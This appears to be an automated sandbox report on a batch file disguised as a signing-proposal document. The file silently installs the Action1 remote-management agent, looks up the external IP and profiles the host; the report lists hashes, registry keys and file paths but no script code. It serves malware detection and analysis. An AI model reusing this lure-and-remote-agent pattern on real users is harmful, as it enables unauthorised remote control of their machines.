Analysis
- max time kernel
299s - max time network
261s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
01/10/2026, 06:29
Static task
static1
Behavioral task
behavioral1
Sample
Signing_Complete_Proposal Ref#40654.bat
Resource
win10v2004-20260911-en
windows10-2004-x64
18 signatures
300 seconds
General
- Target Signing_Complete_Proposal Ref#40654.bat
- Size 5KB
- Sample261001-g9ates1clc
- SHA256 e14f49f11f3c2f9136ea15918b6961b443e66d48b64facb2490596bc85d0b71d
- MD5 a390228bb1f4a365c0081638c7667da2
- SHA1 05e39418f08d65baf1500480a93e55ee121589c2
- SHA512 42b3cd1e7c8fdf1f6e1c84444815cc97fc48f9b068e45c4afeac9974444719c6d8cc5f4cb789bcdfefac8f3b3abf37732281e118a9fecc97b0d1b03e50783c25
- SSDEEP 96:YGLoC+CkqCrzf13tecA6l3wkHeSTnGWwzzf8nqfk9HIyjIIO/6APk6Cw6CypzTrI:xLoC6D1dJA6K6eST82mkSycIy3CxCpok
- TLSH T1C4C1AF8E2016E81B47B69313CA2E00DDF97F9243D601BAD874BBD158D7127A176FB1C9
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 18 2248 powershell.exe 19 2248 powershell.exe 20 2248 powershell.exe 56 5488 powershell.exe 57 5488 powershell.exe - Executes dropped EXE 4 IoCs
pid Process 2136 action1_agent.exe 3352 action1_agent.exe 2308 action1_agent.exe 3124 action1_agent.exe - Loads dropped DLL 4 IoCs
pid Process 5612 MsiExec.exe 5612 MsiExec.exe 5612 MsiExec.exe 4344 MsiExec.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\U: msiexec.exe \??\F:\ powershell.exe \??\F:\ powershell.exe File opened (read-only) \??\H: msiexec.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe File opened (read-only) \??\D: msiexec.exe \??\F:\ powershell.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Y: msiexec.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe \??\F:\ powershell.exe \??\F:\ powershell.exe File opened (read-only) \??\J: msiexec.exe \??\F:\ msiexec.exe \??\F:\ powershell.exe \??\F:\ powershell.exe File opened (read-only) \??\N: msiexec.exe \??\F:\ powershell.exe \??\F:\ powershell.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\P: msiexec.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\L: msiexec.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe File opened (read-only) \??\K: msiexec.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe File opened (read-only) \??\R: msiexec.exe \??\F:\ powershell.exe \??\F:\ powershell.exe - Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 3 ifconfig.me 57 ifconfig.me - Drops file in System32 directory 45 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe - Drops file in Windows directory 64 IoCs
description ioc Process File created C:\Windows\SystemTemp\__PSScriptPolicyTest_o0fgnmz4.dut.psm1 powershell.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_hjz01nyr.trw.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_rfsqkrlf.rwq.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_u4jsjzv4.rvz.ps1 powershell.exe File opened for modification C:\Windows\SystemTemp\TmpA624.tmp powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_ulo3wb5x.ocq.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_zheudlx2.ngn.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_01vf5r4e.nzs.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_ardonio0.ffw.psm1 powershell.exe File created C:\Windows\Installer\SourceHash{E6D8B066-2E74-458F-9111-24857C1C627A} msiexec.exe File created C:\Windows\Action1\action1_agent.exe msiexec.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_fmvujueb.ue0.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_3fqvfirm.lou.ps1 powershell.exe File created C:\Windows\Action1\what_is_this.txt action1_agent.exe File created C:\Windows\Action1\datasource_data\1008.poll.tmp action1_agent.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_uvxpvhrd.eva.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_x5v1fy0l.yxx.ps1 powershell.exe File opened for modification C:\Windows\Installer\MSI5BD2.tmp msiexec.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_cr24ktpu.ox2.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_kutzi4y0.g5b.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_djkxibe0.ox0.ps1 powershell.exe File created C:\Windows\Installer\e59572e.msi msiexec.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_5ndafett.zrd.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_l5hxyy2e.gzz.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_k3yicljg.nax.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_oujp2chh.wac.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_4ragposw.gvp.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_i0asf2ze.hjm.psm1 powershell.exe File opened for modification C:\Windows\SystemTemp\TmpA654.tmp powershell.exe File created \??\c:\Windows\SystemTemp\20t1hz0r\CSCF01781042893470AB8CCF2C16FAE8DE8.TMP csc.exe File opened for modification C:\Windows\Installer\e59572e.msi msiexec.exe File created C:\Windows\SystemTemp\~DFE1F39A8DAB273508.TMP msiexec.exe File created C:\Windows\Action1\first_install.tmp action1_agent.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_2agzifuq.4u3.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_c53hacmj.5mj.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_d5ktskh2.lxs.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_e32u0mw0.scd.psm1 powershell.exe File created C:\Windows\SystemTemp\~DF833648DC020DBBF5.TMP msiexec.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_ahndkd5i.fnv.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_2kjcr0pi.m53.ps1 powershell.exe File created C:\Windows\SystemTemp\20t1hz0r\20t1hz0r.dll powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_13nie5it.5xv.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_zkugz1el.ec5.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_g023cx4f.vux.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_eyt525qh.1hc.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_2lnvy31c.4qt.ps1 powershell.exe File created C:\Windows\Action1\sas.dll msiexec.exe File created C:\Windows\Installer\wix{E6D8B066-2E74-458F-9111-24857C1C627A}.SchedServiceConfig.rmi MsiExec.exe File created C:\Windows\Action1\advanced_settings.json.tmp action1_agent.exe File created C:\Windows\Action1\rules.json action1_agent.exe File created C:\Windows\Action1\rule_data\1008.suppress action1_agent.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_yrjywd5s.tef.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_yiahpc5c.uei.ps1 powershell.exe File created C:\Windows\Action1\action1_agent.exe.instance_lock action1_agent.exe File created C:\Windows\Action1\previousUser.txt powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_xt5fydhj.hd1.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_4sr54zxx.alp.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_2f2xypw3.prw.psm1 powershell.exe File created C:\Windows\SystemTemp\20t1hz0r\20t1hz0r.out powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_15msv0jy.4cu.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_qm3awsfc.jjl.psm1 powershell.exe File opened for modification C:\Windows\Installer\MSI5DC8.tmp msiexec.exe -
pid Process 4396 powershell.exe 6016 powershell.exe 2248 powershell.exe 5968 powershell.exe 1056 powershell.exe 4644 powershell.exe 4492 powershell.exe 1420 powershell.exe 4276 powershell.exe 1360 powershell.exe 4260 powershell.exe 3484 powershell.exe 5056 powershell.exe 5736 powershell.exe 3824 powershell.exe 1624 powershell.exe 2460 powershell.exe 4392 powershell.exe 4724 powershell.exe 5488 powershell.exe 5780 powershell.exe 4272 powershell.exe 4648 powershell.exe 3736 powershell.exe 476 powershell.exe 4448 powershell.exe 1960 powershell.exe 4844 powershell.exe 4448 powershell.exe 2852 powershell.exe 3248 powershell.exe 5648 powershell.exe 4944 powershell.exe 2340 powershell.exe 5880 powershell.exe 4388 powershell.exe 5804 powershell.exe 4584 powershell.exe 4268 powershell.exe 4876 powershell.exe 5136 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 6036 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain action1_agent.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname action1_agent.exe - System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language action1_agent.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language action1_agent.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language action1_agent.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language action1_agent.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\System32\ci.dll,-101 = "Enclave" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe%5Cresources.pri\1da840c5479071a\a37dfe62 action1_agent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe - Modifies registry class 21 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductName = "Action1 Agent" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductIcon = "C:\\Windows\\Installer\\{E6D8B066-2E74-458F-9111-24857C1C627A}\\ProductIcon" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\PackageName = "Workspace_agent-My_Organization.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7\A1_Agent msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\PackageCode = "919D3E7E9C8C211418ADC39A1BD1B1BF" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B\660B8D6E47E2F85419114258C7C126A7 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Version = "100663960" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Clients = 3a0000000000 msiexec.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 64 IoCs
